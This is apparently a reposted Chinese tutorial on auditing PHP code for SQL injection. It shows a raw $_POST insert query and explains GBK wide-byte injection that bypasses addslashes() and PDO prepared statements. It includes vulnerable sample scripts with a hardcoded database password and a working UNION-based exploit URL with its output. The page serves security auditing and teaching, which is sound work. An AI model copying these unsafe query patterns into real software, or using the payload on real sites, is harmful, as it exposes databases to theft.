php审计基础一:sql注入
来源:互联网 发布:美国总统访华网络直播 编辑:程序博客网 时间:2024/05/17 03:47
【1】普通sql注入:
$sql = "INSERT INTO books(bookname, publisher, author, price, ptime,pic,detail) VALUES('{$_POST["bookname"]}', '{$_POST["publisher"]}', '{$_POST["author"]}', '{$_POST["price"]}', '".time()."', '{$up[1]}', '{$_POST["detail"]}')";$result = mysql_query($sql);if($result && mysql_affected_rows() > 0 ) {echo "插入一条数据成功!";}else {echo "数据录入失败!";}
直接将传入的参数不加过滤进入到数据库中
【2】宽字符注入:
条件
当mysql建表时,将表的字符集设置成gbk时(default
charset=gbk
)
且当在
php
连接数据库时将数据库的字符集设置成
(mysql_query("setcharacter_set_client=gbk");
(1)
可利用
%df%27
绕过
addslashes()
这个函数
(2)
可绕过
pdo
的
quote
()这个函数
(
3
)
pdo
的也被绕过:
第一种写法
:
<?phpheader("Content-type:text/html;charset=utf-8"); try { $pdo = new PDO("mysql:host=localhost;dbname=test","root","niexinming132"); } catch (Exception $ex) { echo "连接失败";}echo "连接成功";$pdo->query("set character_set_client=gbk");$id=$_GET["id"];$query="select * from myuser where id=?";echo $query;echo "<br>";$stmt=$pdo->prepare($query);$pdostat=$stmt->execute(array($id));foreach ($stmt->fetchAll(PDO::FETCH_ASSOC) as $row){ foreach ($row as $data) { echo $data." "; } echo "<br>";}
第二种写法:
<?phpheader("Content-type:text/html;charset=utf-8"); try { $pdo = new PDO("mysql:host=localhost;dbname=test","root","niexinming132"); } catch (Exception $ex) { echo "连接失败";}echo "连接成功";$pdo->query("set character_set_client=gbk");$id=$_GET["id"];$query="select * from myuser where id=:id";echo $query;echo "<br>";$stmt=$pdo->prepare($query);$pdostat=$stmt->execute(array("id"=>$id));foreach ($stmt->fetchAll(PDO::FETCH_ASSOC) as $row){ foreach ($row as $data) { echo $data." "; } echo "<br>"; echo "执行完毕"; var_dump($pdo->errorInfo());}
利用:
http://localhost:8000/gbksql2.php?id=-1%df%27%20union%20select%201,version(),user(),4%20%23
显示:
连接成功select* from myuser where id=:id
1 5.5.50-0ubuntu0.14.04.1-logroot@localhost 4
执行完毕
0 0
- php审计基础一:sql注入
- PHP源码审计基础
- PHP与SQL注入攻击[一]
- SQL注入系列之PHP+Mysql手动注入(一)----数字型
- php审计基础二:命令执行
- php审计基础四:变量覆盖
- php审计基础五:逻辑处理漏洞
- PHP代码审计之基础篇
- php代码审计之sql简单过滤
- 浅析白盒审计中的字符编码及SQL注入
- 浅析白盒审计中的字符编码及SQL注入
- 关于espcms的sql注入漏洞代码审计复现
- php表单提交中sql提防注入攻击一
- PHP的SQL注入
- PHP的SQL注入
- PHP SQL 注入
- PHP SQL防注入
- PHP 防止 SQL 注入
- PHP多进程抓取百度搜索结果
- android ADB 模拟手机点击事件
- 文件和字符串的加密工具类md5
- unescaped backslashes are deprecated
- 剑指Offer----扩展:抛小球(京东)
- php审计基础一:sql注入
- Zookeeper全解析——Paxos作为灵魂
- D3.js入门
- 编程语言学习收藏
- #32 Minimum Window Substring
- TortoiseSVN-1.9.4-中文语言包-官方下载地址
- sql获取时间字符串里面的年
- MFC学习日记之滚动条控件
- 基于CNN+RNN的图片描述--李飞飞